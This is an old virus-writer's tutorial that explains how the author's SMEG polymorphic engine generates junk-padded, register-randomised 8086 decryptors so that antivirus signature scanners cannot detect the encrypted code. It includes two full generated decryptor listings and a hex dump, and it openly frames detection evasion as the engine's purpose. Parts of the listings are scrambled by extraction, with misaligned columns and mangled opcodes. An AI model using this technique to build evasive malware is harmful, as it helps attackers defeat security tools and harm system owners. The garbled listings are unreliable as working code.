Methods Behind A Polymorph Engine (Black Baron)

ivanlef0u.fr/repo/madchat/vxdevl/vdat/tumisc10.htm

A GENERAL DESCRIPTION OF THE METHODS BEHIND A POLYMORPH ENGINE by The Black Baron This .DOC attempts to provide an insight into the workings of a Polymorph Engine. It assumes you are familiar with 8086 assembler and the logic functions XOR, AND & OR. To this end, no explanation of logic or assembler will be included in this text! Also note, no SEGMENT stuff will be included in any of the assembler listings, it is assumed that you know which segments are in play. The methods described in this .DOC are the ones used in my SMEG (Simulated Metamorphic Encryption Generator) Polymorph Engine and are by no means the only way to do it!

A small glossary of terms used in this document:

ENCRYPT	= Transform from it's original form to an altered form.
DECRYPT	= Transform from it's altered form to it's original form.
KEY	= The register or value used to encrypt/decrypt with.
SLIDING KEY	= A KEY value that is INCREASED or DECREASED on each loop.
COUNT	= The number of bytes in the encrypted code or data.
INDEX	= A pointer to the encrypted code or data.
SIGNATURE	= A unique group of bytes that can be used to check against
	a programs content in the hope of detecting a particular
	program.
HEURISTIC	= A set of well defined rules to apply to a problem in the
	hope of achieving a known result.

Question: What is a Polymorph?

Answer: Well, the Longman English Dictionary defines it as:

"POLYMORPHOUS also POLYMORPHIC adj fml or tech. EXISTING IN VARIOUS DIFFERENT FORMS."

In other words, something that has the ability to change it's shape. Other ways to describe such a thing might be; Mutable, Metamorphic, Etc...

Question: What is a Polymorph Engine?

Answer: A program with the abilities to encrypt (or jumble up) another program or data and provide a unique decryptor for it, it must do this in such a way that no two encryptions of the same program or data will look alike.

Example: Take the following ultra-simple decryptor:

	MOV	SI,jumbled_data	;Point to the jumbled data
	MOV	CX,10	;Ten bytes to decrypt
<pre>main_loop:</pre>	XOR	BYTE PTR [SI],55	;XOR (un_scramble!) a byte
	INC	SI	;Next byte
	LOOP	main_loop	;Loop for the 9 remaining bytes

This small program will XOR the ten bytes at the location pointed to by SI with the value 55. Providing the ten bytes were XORed with 55 prior to running this decryptor the ten bytes will be restored to their original state. If you are unsure as to why this is, brush up on your XOR logic!!

Ok, so you might say that if you change the KEY value on each generation it will become Polymorphic? Well, yes and no! If you did that, the encrypted portion would be Polymorphic, but the decryptor would still remain mostly the same, the only change begin the KEY value! So, a signature scanner that allows WILDCARDS (and most do!) would still be able to find your decryptor!

One way you could fool some signature scanners is to swap around some of the instructions. So, with this in mind, the above decryptor might look like:

	MOV	CX,10
	MOV	SI,jumbled_data
<pre>main_loop:</pre>	XOR	BYTE PTR [SI],55
	INC	SI
	LOOP	main_loop

As you can see, still not much of a change, not really enough to fool some of the better signature scanners.

"GET TO THE POINT! WHAT IS A TRUE POLYMORPH?", I hear you cry!

Well, a "true" Polymorph would be a decryptor that looks completely different on each generation! Take the following decryptor:

	MOV	CX,10
	NOP	
	NOP	
	MOV	SI,jumbled_data
	NOP	
main_loop:	NOP	
	NOP	
	XOR	BYTE PTR [SI],55
	NOP	
	INC	SI
	NOP	
	LOOP	main_loop

This decryptor is the same as the one before it, but it has has a few random NOP instructions peppered throughout itself. On each generation you would vary the amount of NOPs after each instruction. This is a Polymorph in it's simplest form. Still, most of the good signature scanners would have no problem with such a simple Polymorph. They would simply skip the NOPs, thus having a clear view of the decryptor, to which they could apply a signature!

No, a "true" Polymorph has to be far far more complex then this! Instead of peppering NOPs throughout the decryptor it would pepper totally random amounts of totally random 8086 instructions, including JUMPS and CALLS. It would also use a different main decryptor (possibly from a selection of pre-coded ones) and would alter all the registers that the decryptor uses on each generation, making sure that the JUNK code that it generates doesn't destroy any of the registers used by the real decryptor! So, with these rules in mind, here is our simple decryptor again:

	MOV	DX,10	;Real part of the decryptor!
	MOV	SI,1234	;junk
	AND	AX,[SI+1234]	;junk
	CLD		;junk
	MOV	DI,jumbled_data	;Real part of the decryptor!
	TEST	[SI+1234],BL	;junk
	OR	AL,CL	;junk
<pre>main_loop:</pre>	ADD	SI,SI	;junk instruction, real loop!
	XOR	AX,1234	;junk
	XOR	BYTE PTR [DI],55	;Real part of the decryptor!
	SUB	SI,123	;junk
	INC	DI	;Real part of the decryptor!
	TEST	DX,1234	;junk
	AND	AL,[BP+1234]	;junk
	DEC	DX	;Real part of the decryptor!
	NOP		;junk
	XOR	AX,DX	;junk
	SBB	AX,[SI+1234]	;junk
	AND	DX,DX	;Real part of the decryptor!
	JNZ	main_loop	;Real part of the decryptor!

As you should be able to see, quite a mess!! But, still executable code. It is essential that any junk code generated by the Polymorph Engine is executable, as it is going to be peppered throughout the decryptor. Note, in this example, that some of the junk instructions use registers that we are using in the decryptor! This is fine, providing the values in these registers aren't destroyed. Also note, that now we have random registers and random instructions on each generation it makes signature scanning (even for the clever signature scanners) impossible! Instead, an HEURISTIC method must be used, which can lead to false alarms.

So, a Polymorph Engine can be summed up into three major parts:

- 1 .. The random number generator.
- 2 .. The junk code generator.
- 3 .. The decryptor generator.

There are other discrete parts but these three are the ones where most of the work goes on!

How does it all work? Well, SMEG goes about generating random decryptors in the following way:

- 1 .. Chooses a random selection of registers to use for the decryptor. Leaving the remaining registers as "junk" registers for the junk code generator.
- 2 .. Chooses one of the compressed pre-coded decryptors.
- 3 .. Goes into a loop generating the real decryptor, peppered with junk code.

To understand how the selected registers are slotted into the decryptors and the junk code you must look at the 8086 instructions from a binary level:

XOR	AX,AX	=	00110001	11000000
XOR	AX,CX	=	00110001	11001000
XOR	AX,DX	=	00110001	11010000
XOR	AX,BX	=	00110001	11011000

You should be able to see a pattern in the binary code for these four 8086 instructions? Well, all 8086 instructions follow logical patterns, and it is these patterns that tell the 8086 processor which registers/addressing mode to use for a particular instruction. The total amount of instruction formats and the precise logic regarding the patterns is too complex to go into here. However, all good 8086 tutorials/reference guides will explain in full.

SMEG exploits this pattern logic to generate junk code and decryptors with random registers, as the patterns directly relate to the registers Etc.

SMEG generates junk code in the following way:

Inside SMEG there is a table of the basic binary patterns for all of the 8086 instruction set, but with one important difference, all the register/address mode bits are zero. This is called the SKELETON INSTRUCTION TABLE. The table also contains various other bytes used by SMEG to determine the relevant bit positions to "plug in" the register bit patterns. These patterns are plugged in via the logic processes OR and AND. Using this method, SMEG can generate endless amounts of random 8086 instructions without destroying any of the registers used by the decryptor proper. SMEG also contains some discrete logic for producing false CALLS to dummy subroutines and also false conditional JMPS around the junk code.

SMEG generates the decryptor proper in the following way:

Inside SMEG there is a table containing a selection of common 8086 instructions used in decryptors, such as XOR [index],reg Etc. These are, again, stored in SKELETON FORM with some control bytes used by the decryptor generator. Also, inside SMEG, there are several pre-coded decryptors stored in a compressed form. On average, a complete decryptor can be described to the decryptor generator in as few as 11 bytes and adding to the list of pre-coded decryptors is both painless and economical with space!

SMEG generates the Polymorphed decryptor in the following way:

First it chooses, at random, one of the pre-coded compressed decryptors. Next it goes into a loop uncompressing each decryptor instruction, plugging in the required registers, storing it and then generating (for each real instruction) a random amount of random instructions. This loop repeats until the complete decryptor has been constructed. The final result is a random size, random register, random patterned decryptor!

It should also be noted that whenever SMEG generates an INDEXed instruction it uses either SI, DI or BX at random, also it sometimes uses a random offset.

For example, say the encrypted code started at address 10h, the following could be used to index this address:

MOV SI,10h ;Start address MOV AL,[SI] ;Index from initial address

But sometimes SMEG will generate something like the following, again based on the encrypted code starting at address 10h:

MOV DI,0BFAAh ;Indirect start address
MOV AL,[DI+4066h) ;4066h + 0BFAAh = 10010h (and FFFF = 10h)!!

These indexed and initial values are picked at complete random, and the examples of OBFAAh and 4066h are valid, but next time they will be completely different!

The following are two decryptors that were generated with my SMEG Polymorph Engine. It should be noted that I generated 4000 examples with no two alike! Unfortunately I ran out of hard drive space! But it is fairly safe to say that the total number of decryptor combinations would run into the BILLIONS!

All the lines marked with ";junk" in the following listings indicate random junk instructions that were inserted throughout the actual decryptor, note that SMEG has the ability to generate junk CALLS to false SUBROUTINES, as well as general junk conditional jumps! All lines marked with a * indicate an actual part of the decryptor proper. I chose the two generations shown because their sizes were similar, 386 and 480 bytes. SMEG produces decryptors ranging in size from as little as 288 to as much as 1536 bytes. Even if two decryptors are generated that are the same size the chances of them being the same are, literally, billions to one!

;This decryptor was generated to use the following registers: DX = Count of bytes in the encrypted code BX = Index pointing to the encrypted code AL = The encryption key; CL = General work register 0100 JNS 0103 ;junk 0102 CLD ;junk 0103 SAR SI,CL ;junk 0105 CMP BP,0708 ;junk 0109 STC ;junk 010E 010A JG ;junk SI,CX 010C OR ;junk 010E XOR DI,3221 ;junk 0112 ADD BP,0805 ;junk

;junk

;junk

BP,3512

SI,CL

0116 AND 011A SHR

0110	MOV	CT 1D04	
011C	MOV	SI,1B04	; junk
0120	SAR	DI,CL	;junk
0122	ADC	SI,2506	;junk
0126	ADC	DI,1F11	;junk
012A	SBB	BP,[0F3E]	;junk
012E	CMP	BP,3F1E	; junk
0132	DEC	SI	; junk
0133		DI	
	NOT		; junk
0135	AND	SI,083D	; junk
0139	INC	SI	;junk
013A	SBB	DI,0103	;junk
013E	MOV	DX,1791	;* Set up the COUNT register
			; 3x Actual number of bytes!
0141	CLD		;junk
		0140	
0142	JB	0146	; junk
0144	TEST	SI,AX	;junk
0146	SBB	DI,SP	;junk
0148	TEST	DI,[251B]	;junk
014C	TEST	CL,[SI]	;junk
014E	SHL	BP,1	;junk
0150	MOV	BX,017D	;junk
0153	CMC	1 -	; junk
0154	MOV	DI,1218	; junk
0158	J0	015C	; junk
015A	RCR	DI,1	; junk
015C	STC		;junk
015D	CMP	BP,DI	;junk
015F	MOV	AX,CS	;* Get CODE SEG in AX
0101	TFOT		tumle
0161	TEST	CH,[BX+17]	; junk
0164	SBB	BP,3107	;junk
0168	INC	DI	;junk
0169	RCR	BP,1	;junk
016B	MOV	DS, AX	;* Make DATA SEG = CODE SEG
016D	ADD	DI,[3B04]	;junk
0171	MOV	AL,50	;* Set up decrypt KEY reg
		,	, , , , , , , , , , , , , , , , , , , ,
0173	JNB	0179	;junk
0175	MOV	SI,1439	;junk
0179	JB	017D	;junk
017B	ADC	DI,AX	; junk
017D	JMP	0185	; junk
0180	MOV	BP,1B36	; junk
0184	RET	07.4	; junk
0185	RCR	SI,1	;junk
0187	MOV	BX,842D	;* Set up the INDEX register
018A	SUB	SI,CX	;junk * Decryptor MAIN LOOP

018C 0190 0194 0196 019A 019E	OR MOV RCL SUB ADD ROL	DI,0B0F BP,1E3E DI,CL BP,2E12 DI,[2E2A] SI,CL	;junk ;junk ;junk ;junk ;junk ;junk
01A0	MOV	CL,[BX+7E43]	<pre>;* Get next encrypted byte ; NOTE: original index 842Dh plus 7E43h = ; 10270h AND FFFFh = 0270h! Which is the ; start of the Encrypted code!</pre>
01A4	JZ	01AC	;junk
01A6	TEST	BH,[DI+2B3B]	;junk
01AA	CMP	[BP+SI],DL	;junk
01AC	ROL	DI,1	;junk
01AE	SBB	DI,263A	;junk
01B2	DEC	DX	;* Dec the COUNT register (x1)
01B3	CALL	0180	;junk
01B6	MOV	DI,CX	; junk
01B8	ADC	BP,282E	; junk
01BC	SUB	CL,AL	;* Decrypt byte using KEY reg
01BE	MOV	SI,372A	;junk
01C2	TEST	BP,3A10	; junk
01C6	CALL	0180	; junk
01C9	ADC	SI,1317	;junk
01CD	CLD		;junk
01CE	INC	AX	;* Increase the KEY reg
01CF	XOR	SI,203D	;junk
01D3	JMP	01E1	;junk
01D6	DEC	DI	;junk
01D7	CMC		;junk
01D8	SUB	BP,[3624]	;junk
01DC	XOR	SI,0200	;junk
01E0	RET		;junk
01E1	CMP	[SI+13],BH	;junk
01E4	SUB	DX,0001	;* Dec the COUNT register (x2)
01E8	CMP	AX,0517	;junk
01EC	SUB	BP,2816	;junk
01F0	AND	SI,0807	;junk
01F4	SUB	SI,2E03	;junk
01F8	ROR	BP,1	;junk
01FA	INC	DI	;junk
01FB	RCR	SI,CL	;junk
01FD	TEST	CH,DH	;junk
01FF	SUB	BP,1026	;junk

0203	MOV	[BX+7E43],CL	;* Store the decrypted byte
0207	JNB	020D	;junk
0209	XOR	DI,1B30	; junk
020D	CLD	,	; junk
020E	ADD	SI,3C38	; junk
		,	, , , , , , , , , , , , , , , , , , , ,
0212	INC	BX	;* Increase the INDEX reg
0213	XOR	DI,0B2C	;junk
0217	JMP	022F	;junk
021A	OR	BP,1C18	;junk
021E	JLE	0221	;junk
0220	DEC	BP	;junk
0221	ADC	SI,0E32	;junk
0225	AND	DI,1522	;junk
0229	CMP	[BP+SI+36],BH	;junk
022C	ROL	SI,1	;junk
022E	RET		;junk
022F	SHL	DI,1	;junk
0231	SHR	DI,1	;junk
0233	DEC	DX	;* Dec the COUNT register (x3) ; Hence the 3x original size!
0234	JNZ	023F	;* Not zero then jump to 023Fh
0236	TEST	CL,[BP+DI]	;junk
0238	ADC	BP,012D	; junk
0200	AB0		, junk
023C	JMP	025B	;* Finished decrypting!
023F	INC	BP	;junk
0240	JNB	0246	; junk
0242	CMP	BX,0E2E	; junk
0246	TEST	DI,SI	; junk
0248	SBB	SI,3233	; junk
0 0	022	01,0100	, , , , , , , , , , , , , , , , , , , ,
024C	MOV	CX,018A	;* Set address of MAIN LOOP
024F	ROL	DI,1	;junk
0251	SUB	DI, BX	;junk
0253	SHR	DI,1	; junk
0255	TEST	BL,[BX+DI+1C2E]	
	_	,	
0259	PUSH	СХ	;* Stack LOOP address ;* RETurn to MAIN LOOP
025A	RET		;* RETurn to MAIN LOOP
025B	MOV	SI,211F	;junk
0256 025F	CMP	BL,[BX+DI]	; junk
025F 0261	UNF		
	SHR	BD 2033	iunk
	SUB MOV	BP,2D33 BP 3735	;junk
0265	MOV	BP,3735	;junk

The encrypted code starts here. 0270 ;Assembler listing for encryptor 2, size 480 bytes. ;-----;Size of the encrypted code was 07DBh (2011 bytes) ;The encrypted code started at address 02E0h ;This decryptor was generated to use the following registers: ; AX = Count of bytes in the encrypted code ; BX = Index pointing to the encrypted code ; DL = The encryption key ; CL = General work register ; 0100 NOT SI ;junk 0102 CH,[BP+DI+0F] TEST ;junk 0105 INC DI ;junk 0106 CLD ;junk 0107 ADC DI,132A 010B JPE 0111 ;junk ;junk 010D OR DI,332E ;junk INC SI ;junk 0111 0112 TEST AL,CH ;junk 0114 JMP 0120 ;junk 0117 JPE 011D ;junk 0119 CMP DX,1909 ;junk 011D RCR DI,CL ;junk 011F RET ;junk INC DI 0120 ;junk 0121 TEST DI,BP ;junk 0123 JMP 0133 ;junk 0126 TEST DI,0E24 ;junk 012A TEST DI,093A ;junk 012E AND DI,SP ;junk 0130 CMP [BP+SI],BH ;junk 0132 RET ;junk 0133 MOV BP,0C28 ;junk 0137 TEST DH,CH ;junk 0139 TEST BP,1C16 ;junk 013D ROR BP,CL ;junk 013F JZ 0145 ;junk TEST 0141 DH,[BX] ;junk 0143 ADD DI,SP ;junk TEST 0145 CL, [SI+3435] ;junk 0149 MOV BP,2E08 ;junk 014D TEST CX,DI ;junk 014F CLD ;junk MOV SI,3831 AND BP,363E SI,3831 0150 ;junk 0154 ;junk 0158 ROR DI,CL ;junk

026F

INC

DI

;junk

015A 015B 015D 015F 0163	CLC JNS SAR SBB SBB	0163 SI,1 DI,3308 DI,362B	;junk ;junk ;junk ;junk ;junk
0167	MOV	AX,07DB	;* Set up the COUNT register
016A 016E 0171 0175 0179 017D 0181 0182	AND JMP MOV CMP SBB TEST RET CMP	DI,0F1E 0182 DI,2F31 CX,2212 SI,2E14 BL,[SI+341D] BH,19	;junk ;junk ;junk ;junk ;junk ;junk ;junk
0185	MOV	BX,B977	;* Set up the INDEX register
0188 018C 0190	TEST TEST SHR	AL,[DI+072C] DI,2306 SI,1	;junk ;junk ;junk
0192	MOV	DX,CS	;* Get CODE SEG in DX
0194 0197 019B 019C	CALL TEST CLC SHL	0171 SI,1410 DI,CL	;junk ;junk ;junk ;junk
019E	MOV	DS,DX	;* Make DATA SEG = CODE SEG
01A0 01A2 01A5	NEG CALL TEST	SI 0171 CH,[BP+DI+070F]	;junk ;junk ;junk
01A9	MOV	DL,8D	;* Set decrypt KEY register
01AB 01AF 01B2 01B4 01B5 01B7 01B8	MOV JMP JBE INC NOT CMC RET	DI,3A30 01B9 01B5 DI DI	;junk ;junk ;junk ;junk ;junk ;junk ;junk
01B9	XOR	CX,DX	; junk
01BB	CALL	01B2	;junk * Decryptor MAIN LOOP
01BE 01C2 01C3 01C7 01CB 01CD	TEST INC SBB MOV RCR MOV	SI,3029 DI DI,1E19 DI,0038 DI,CL BP,1809	;junk ;junk ;junk ;junk ;junk ;junk

01D1	NEG	BYTE PTR [BX+49	969]	· * · · ·	NEG the byte at [BX + 4969] NOTE: original index B977h p. 4969h = 102E0h AND FFFFh = 02 Which is the start of the encrypted code!	
01D5	TEST	BP,2A37	;junk			
01D9	CMP	CX, 2B37	;junk			
01DD	JMP	01E2	;junk			
01E0	DEC	DI	;junk			
01E0 01E1	RET	DI	;junk			
UILI			, Junk			
01E2	MOV	CL,[BX+4969]	;* Get	the	NEGed byte into CL	
01E6	CMC		;junk			
01E7	ROR	DI,CL	;junk			
01E9	INC	BP	;junk			
01EA	TEST	DI,281E	;junk			
01EE	JZ	01F3	;junk			
01F0	TEST	BH,[BX+DI+05]	;junk			
01F3	MOV	DI,160C	;junk			
01F7	SUB	BP,BP	;junk			
01F9	XOR	CX,DX	;* XOR	byt	e with the KEY	
01FB	TEST	BL,[BP+DI+3C]	;junk			
01FE	JNB	0204	;junk			
0200	ADD	BP,0A13	;junk			
0204	CMP	[BX+DI],CL	;junk			
0206	CALL	01E0	;junk			
0209	CALL	01E0	;junk			
020C	DEC	DI	;junk			
020D	AND	DI,073A	;junk			
0211	DEC	AX	;* Dec	rease	e the COUNT register	
0212	XOR	DI,2036	;junk			
0216	NEG	BP	;junk			
0218	ADC	DI,SP	;junk			
021A	CMC	51/01	;junk			
021A	CMP	BL,[BX+SI]	;junk			
021D	DEC	DX	;* Dec	rease	e the KEY register	
021E	ADC	BP,1821	;junk			
0222	SHL	DI,CL	;junk			
0224	CMP	AX,1816	;junk			
0228	SHL	DI,1	;junk			
022A	CMP	, AL,[BP+DI+1A]	;junk			
022D	MOV	SI,1819	;junk			
0231	ADD	SI,063B	;junk			
		5.4				
0235	DEC	DX	;* Dec	rease	e the KEY register	

0236	SUB	BP,0028	;junk
023A	AND	BP,1930	; junk
023E	CLD	51 / 2000	
			; junk
023F	ADC	BP,2D1D	;junk
0243	SAR	DI,CL	;junk
0245	XCHG	CX,DX	;* Swap CX & DX
		,	,
0247	тгот		
0247	TEST	CX, DX	; junk
0249	MOV	SI,CX	;junk
024B	XOR	SI,030D	;junk
024F	SUB	DI,311C	;junk
0253	XCHG	DL,[BX+4969]	;* Swap [index] & DL
		/[]	; NOTE: This restores the decrypted byte!
			, NOTE: THIS TESTORES the decrypted byte:
0057		DT 0540	- develo
0257	ADD	DI,0E13	;junk
025B	CMP	BL,[BP+DI+33]	;junk
025E	CLD		;junk
025F	NOT	SI	; junk
0261	MOV	SI,3F1C	; junk
0201	110 0	51, 51 10	
0.205	VOUC		1.* Chan CV & DV restaring the KEV in D
0265	XCHG	CX,DX	;* Swap CX & DX, restoring the KEY in DL
0267	MOV	SI,221A	;junk
026B	OR	BP,0D2C	;junk
026F	MOV	DI,231B	;junk
		·	
0273	ADD	BX 0001	* Increase the INDEX register
0273	ADD	BX,0001	;* Increase the INDEX register
0277	JMP	0288	; junk
0277 027A		0288 BP, AX	
0277	JMP	0288	; junk
0277 027A	JMP ADC	0288 BP, AX	;junk ;junk
0277 027A 027C 027F	JMP ADC TEST TEST	0288 BP,AX BL,[DI+19]	; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283	JMP ADC TEST TEST NEG	0288 BP,AX BL,[DI+19] DI,0321 DI	; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285	JMP ADC TEST TEST NEG ROL	0288 BP,AX BL,[DI+19] DI,0321	; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0285	JMP ADC TEST TEST NEG ROL RET	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL	; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0287 0288	JMP ADC TEST TEST NEG ROL RET SBB	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D	; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0285	JMP ADC TEST TEST NEG ROL RET	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL	; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0287 0288	JMP ADC TEST TEST NEG ROL RET SBB	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D	; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0285 0287 0288 028C 0280	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A	; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0285 0287 0288 0288	JMP ADC TEST TEST NEG ROL RET SBB XOR	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23	; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0285 0287 0288 028C 0290 0293	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A BH,[DI]	; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0295	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A BH,[DI] AX,AX	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 027F 0283 0285 0285 0287 0288 028C 0290 0293	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A BH,[DI]	; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk ; junk
0277 027A 027C 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A BH,[DI] AX,AX 02AD	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 0283 0285 0287 0288 0287 0288 0280 0290 0293 0295 0297	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A BH,[DI] AX,AX 02AD	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A BH,[DI] AX,AX 02AD	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 0283 0285 0287 0288 0287 0288 0280 0290 0293 0295 0297	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL	0288 BP,AX BL,[DI+19] DI,0321 DI SI,CL BP,1B0D BP,2A23 DL,3A BH,[DI] AX,AX 02AD	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297 0299 0299	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297 0295 0297 0292 0292 029C 02A0 02A2	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND JA MOV	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6 DI, 0514	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0295 0295 0297 0299 0292 0292	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND JA	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297 0299 0297 0299 0292 0290 0292 02A0 02A2 02A6	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND JA MOV ADC	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6 DI, 0514 SI, 1F2A	<pre>;junk ;junk</pre>
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297 0295 0297 0292 0292 029C 02A0 02A2	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND JA MOV	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6 DI, 0514	;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk ;junk
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297 0295 0297 0299 0292 0290 0292 02A0 02A2 02A6	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND JA MOV ADC JMP	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6 DI, 0514 SI, 1F2A 02BC	<pre>;junk ;junk</pre>
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297 0299 0295 0297 0299 0292 02A0 02A2 02A6 02AA	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND JA MOV ADC JMP JMP	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6 DI, 0514 SI, 1F2A	<pre>;junk ;junk</pre>
0277 027A 027C 027F 0283 0285 0287 0288 028C 0290 0293 0293 0295 0297 0295 0297 0299 0292 0290 0292 02A0 02A2 02A6	JMP ADC TEST TEST NEG ROL RET SBB XOR CMP TEST AND JNZ CALL AND JA MOV ADC JMP	0288 BP, AX BL, [DI+19] DI, 0321 DI SI, CL BP, 1B0D BP, 2A23 DL, 3A BH, [DI] AX, AX 02AD 027A DI, 291F 02A6 DI, 0514 SI, 1F2A 02BC	<pre>;junk ;junk</pre>

02B1	RET		;junk
02B2	SHL	DI,CL	;junk
02B4	CLD		;junk
02B5	ADD	SI,2C1A	;junk
02B9	JMP	01BB	;* Jump to MAIN LOOP
02BC	TEST	BH,BL	;junk
02BE	MOV	DI,210C	;junk
02C2	SUB	SI,1600	;junk
02C6	CALL	02B0	;junk
02C9	XOR	SI,2F1D	;junk
02CD	MOV	BP,0430	;junk
02D1	TEST	BH,[DI+362A]	;junk
02D5	OR	DI,1C21	;junk
02D9	STC		;junk
02DA	CMP	DI,2828	;junk
02DE	CLC		;junk
02DF	DEC	BP	;junk

02E0 The encrypted code starts here.

The following are the HEX dumps for both of the above decryptors, decryptor 1 is on the left and 2 is on the right. These dumps are to show that it would be very difficult to find a signature that could be applied to each of these decryptors in the hope of detecting them both, this is the main purpose of a Polymorph Engine! To detect, therefore, you would have to write a program that tries to use intelligence to work out if what it is looking at is a Polymorph generated decryptor. This is prone to false alarms or, in certain cases, missing the decryptor totally!

HEX DUMP OF ENCRYPTOR 1, 368 bytes

-----7901FCD3FE81FD0807F97F020BF181F7 213281C5050881E51235D3EEC7C6041B D3FF81D6062581D7111F1B2E3E0F81FD 1E3F4EF7D781E63D084681DF0301BA91 17FC720285F01BFC853E1B25840CD1E5 BB7D01F5C7C718127002D1DFF939FD8C C8846F1781DD073147D1DD8ED8033E04 3BB0507304C7C63914720213F8E90500 C7C5361BC3D1DEBB2D842BF181CF0F0B C7C53E1ED3D781ED122E033E2A2ED3C6 8A8F437E740684BD3B2B3812D1C781DF 3A264AE8CAFF8BF981D52E282AC8C7C6 2A37F7C5103AE8B7FF81D61713FC4081 F63D20E90B004FF52B2E243681F60002 C3387C1381EA010081F8170581ED1628 81E6070881EE032ED1CD47D3DE84EE81 ED2610888F437E730481F7301BFC81C6 383C4381F72C0BE9150081CD181C7E01

